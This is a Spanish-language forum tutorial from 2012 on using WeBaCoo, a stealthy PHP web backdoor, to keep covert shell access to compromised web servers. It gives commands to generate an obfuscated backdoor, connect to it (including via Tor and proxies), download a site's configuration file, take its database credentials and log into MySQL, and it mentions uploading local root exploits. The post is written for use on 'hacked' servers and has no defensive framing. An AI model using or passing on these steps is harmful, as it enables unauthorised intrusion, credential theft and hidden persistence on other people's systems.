Backdorizando Servidores Web con WeBaCoo
Publicado: 31 Ago 2012, 06:51
WeBaCoo (Web Backdoor Cookie) es un backdoor web script-kit que proporciona una terminal de conexión a través de HTTP entre el cliente y el servidor web. Se trata de una herramienta de explotación para mantener el acceso a un servidor web (hacked).
WeBaCoo fue diseñado para operar bajo el radar de la moderna puesta al anticuado AV, NIDS, IPS, Network Firewalls y Application Firewalls, lo que demuestra un mecanismo de sigilo para ejecutar comandos en el servidor comprometido. El archivo ofuscado realiza comunicación mediante HTTP header's Cookie validando solicitudes y respuestas HTTP del servidor web.
WeBaCoo ofrece un modo de generar el código para crear el PHP backdoor, usando payloads predefinidos. También ofrece la "terminal" el modo en que el usuario puede establecer una remota conexión con el servidor y ejecutar comandos con privilegios deseados del servicio web.
En muchos casos, esta herramienta es muy usada cuando un servidor no tiene instalado el Netcat.
INSTALACIÓN:
- git clone git://github.com/anestisb/WeBaCoo.git
- wget [Enlace externo eliminado para invitados]
- ./webacoo.pl -h
COMANDOS:
1) Crear backdoor ofuscado 'backdoor.php' con la configuración predeterminada:
Código: Seleccionar todo
./webacoo.pl -g -o backdoor.phpCódigo: Seleccionar todo
./webacoo.pl -g -o raw-backdoor.php -f 4 -rCódigo: Seleccionar todo
./webacoo.pl -t -u http://127.0.0.1/backdoor.phpCódigo: Seleccionar todo
./webacoo.pl -t -u http://127.0.0.1/backdoor.php -c "Test-Cookie" -d "TtT"Código: Seleccionar todo
./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p 127.0.0.1:8080Código: Seleccionar todo
./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p user:password:10.0.1.8:3128Código: Seleccionar todo
./webacoo.pl -t -u http://example.com/backdoor.php -p tor -l webacoo_log.txtPara este caso he obtenido un servidor cualquiera (hacked) donde subiré el backdoor que creare con el siguiente comando:
Código: Seleccionar todo
./webacoo.pl -g -o backdoor.php
El backdoor.php se crea y ubica en la carpeta de los archivos (WeBaCoo), entonces subiremos dicho archivo al servidor (hacked) y procederemos a conectarnos al servidor con el siguiente comando:
Código: Seleccionar todo
./webacoo.pl -t -u http://www.sitio-web.com/backdoor.php
La conexión hacia el servidor es perfecta, por lo que obtendremos la conexión muy rapida.
Comandos Simples:
En este caso colocaremos "load" para ver los comandos con los que manejaremos todo el servidor, las cuales son los siguientes:
En este caso colocaremos "load" para ver los comandos con los que manejaremos todo el servidor, las cuales son los siguientes:
1) MySQL-CLI: MySQL Command Line Module:
Código: Seleccionar todo
mysql-cli <IP(:port)> <user> <pass> (ex. 'mysql-cli 10.0.1.11 admin pAsS')Código: Seleccionar todo
psql-cli <IP(:port)> <db> <user> <pass> (ex. 'psql-cli 10.0.1.12 testDB root pAsS')Código: Seleccionar todo
upload <local_file> <remote_dir> (ex. 'upload exploit.c /tmp/')Código: Seleccionar todo
download <remote_file> (ex. 'download config.php')Código: Seleccionar todo
stealth <webroot_dir> (ex. 'stealth /var/www/html')
Estos comandos son fáciles de usar, haré una breve demostración con el comando MySQL-CLI para obtener y conectarme a la db del servidor.
1) Descargamos el archivo de configuración:
Código: Seleccionar todo
download configuration.php 
2) Abrimos el archivo configuration.php copiar el user y password del MySQL, tecleamos el comando:
Código: Seleccionar todo
mysql-cli 127.0.0.1:3306 db_user db_password
3) La tool conectara al MySQL, solo nos queda teclear show databases; para apreciar toda la DB.
De igual forma utilizaremos los demás comandos para subir un local root exploit o descargar cualquier archivo del servidor.
Ahora con esta herramienta ya no es necesario que un servidor web tenga el Netcat o hacer un BackConnection que muchas veces no funciona, para conectarse a un servidor web.
Espero les sirva.
Saludos.